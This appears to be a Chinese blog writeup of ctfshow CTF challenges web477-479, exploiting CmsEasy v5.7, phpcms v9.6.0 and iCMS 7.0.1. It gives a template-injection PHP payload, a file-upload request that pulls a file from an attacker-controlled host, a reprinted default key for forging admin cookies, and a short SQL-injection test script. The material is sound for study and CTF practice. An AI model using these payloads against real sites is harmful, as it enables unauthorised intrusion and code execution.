ctfshow CMS系列writeup(web477-web479)

本文介绍针对CmsEasy v5.7及phpcmsv9.6.0系统的漏洞利用过程,包括RCE远程代码执行、任意文件上传等技术细节,并分享了iCMS 7.0.1版本中SQL注入漏洞的解决思路。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01 Web 477

打开页面发现是CmsEasy建站系统,题目提示RCE,百度寻找对应相关漏洞,多方查找后发现版本是v5.7,找到对应版本后进行搜索就变得很简单了。

找登录后台,/admin进入登录窗,然后小手一敲弱口令admin:admin进入后台,有点沙雕.......

忘记密码好像是存在洞的,重置完默认账号密码才会是admin:admin。因为这里默认admin就可以登录进去,漏洞存在与否不好验证,有兴趣的童鞋可以找找。

CmsEasy_v5.7 漏洞测试 - 云+社区 - 腾讯云

漏洞点在于模板-自定义标签部分,使用的payload: 1111111111";}<?php phpinfo()?>

 因为不知道它在哪里RCE,于是都填写payload进行攻击,打击预览,CRTL+F搜索ctfshow找到flag

payload构造这个东西涉及到代码审计,所以触及到我的知识盲区,唯一能感受到的是前面闭合,后面命令执行,如果有懂原理的朋友可以讲一讲。

 0x02 Web 478

按照题目提示安装cms系统

 CMS版本是phpcms v9.6.0,安装完成后访问页面如下图所示

题目提示为文件上传,搜索相关漏洞,FreeBuf找到文章

PHPCMS v9.6.0 任意文件上传漏洞分析 - FreeBuf网络安全行业门户

上传点问题处在注册部分,进行复现

 经我测试,按照抓包内容进行修改直接发包是不行的。

所以这里的poc就按照Freebuf上复制粘贴进行对应修改即可

siteid=1&modelid=11&username=test452&password=test2123&email=test2154@163.com&info[content]=<img src=http://xx.xx.xx.xx/1.txt?.php#.jpg>&dosubmit=1&protocol=

这里有两个注意点,第一个经测试不可以直接写php文件,发包后网页可以访问,但是会有问题,一句话不能执行,所以写txt;第二点,如果失败多记尝试几次,发包时记得修改邮箱、账号的值。

至于payload构造原理,涉及到代码审计,给出链接,可以自行参考学习。

PHP-code-audit/phpcmsv9.6.0 任意文件上传漏洞.md at master · jiangsir404/PHP-code-audit · GitHub

 flag在根目录,提交即可。

 0x03 Web 479

他喵的这道题可以说flag和sql注入没有毛关系.......

查找资料icms sql注入点是后台处 /admincp.php,但是搜索过后发现该cms不存在默认账号密码,尝试登录失败。于是查看hint,提示:默认key:n9pSQYvdWhtBz3UHZFVL7c6vf4x6fePk,key伪造。

因触及到知识盲区,询问大哥,一番讲解,恍然大悟,要挖洞洞在后台,后台进不去通过默认key伪造cookie登进后台,百度一番,在github上找到Y4tacker生成cookie脚本,链接如下:

https://github.com/Stakcery/Web-Security/blob/4aac5ffb955667b15ee3110fb99f6df1016c6760/%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9EAndCMS%E5%AE%A1%E8%AE%A1/CMS/iCMS/iCMS-7.0.1%E5%89%8D%E5%8F%B0%E7%99%BB%E5%BD%95%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/1.md

根据poc生成值

 登录伪造,进入后台,发现flag

0x04 总结

CMS系列仔细想了想,决定停手。原本认为找到CMS对应版本漏洞直接打就行,做了几题感觉效果是有但终究还是舍本逐末,还是得懂代码审计再进行操作对于技术来讲比较有意义。

### CTF SHOW Web 类别挑战资源与解决方案 对于参与CTF SHOW平台上Web类别的挑战,特别是针对`web4`这一具体题目,可以借鉴一些通用的Web安全漏洞利用技巧以及特定于该平台的经验分享。通常情况下,这类挑战会涉及到常见的Web应用程序漏洞,如SQL注入、跨站脚本攻击(XSS)、文件包含漏洞(LFI/RFI)等。 为了更好地理解和解决这些挑战,可以从以下几个方面入手: #### 学习基础理论和技术 深入理解HTTP协议的工作原理及其请求响应机制是非常重要的。掌握如何通过浏览器开发者工具分析网络流量可以帮助识别潜在的安全问题[^1]。 #### 利用在线学习资源 有许多优质的网站提供了关于Web渗透测试的学习材料和实践环境,例如OWASP Top Ten项目文档,它列举并解释了当前最严重的Web应用风险;还有像PortSwigger Academy这样的平台提供了一系列课程来教授各种类型的Web漏洞挖掘方法。 #### 参考社区讨论和Writeup 加入相关的技术论坛或社交媒体群组,在那里可以看到其他参赛者发布的writeups(解题报告),这对于获取灵感非常有帮助。GitHub上也有很多开源仓库专门收集整理了不同赛事下的高质量writeup链接集合。 ```python import requests def check_sql_injection(url, param): test_payload = "' OR '1'='1" data = {param: test_payload} response = requests.post(url, data=data) if "Welcome" in response.text: print(f"[+] SQL Injection vulnerability detected on parameter '{param}'!") else: print("[-] No SQL Injection found.") ```
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值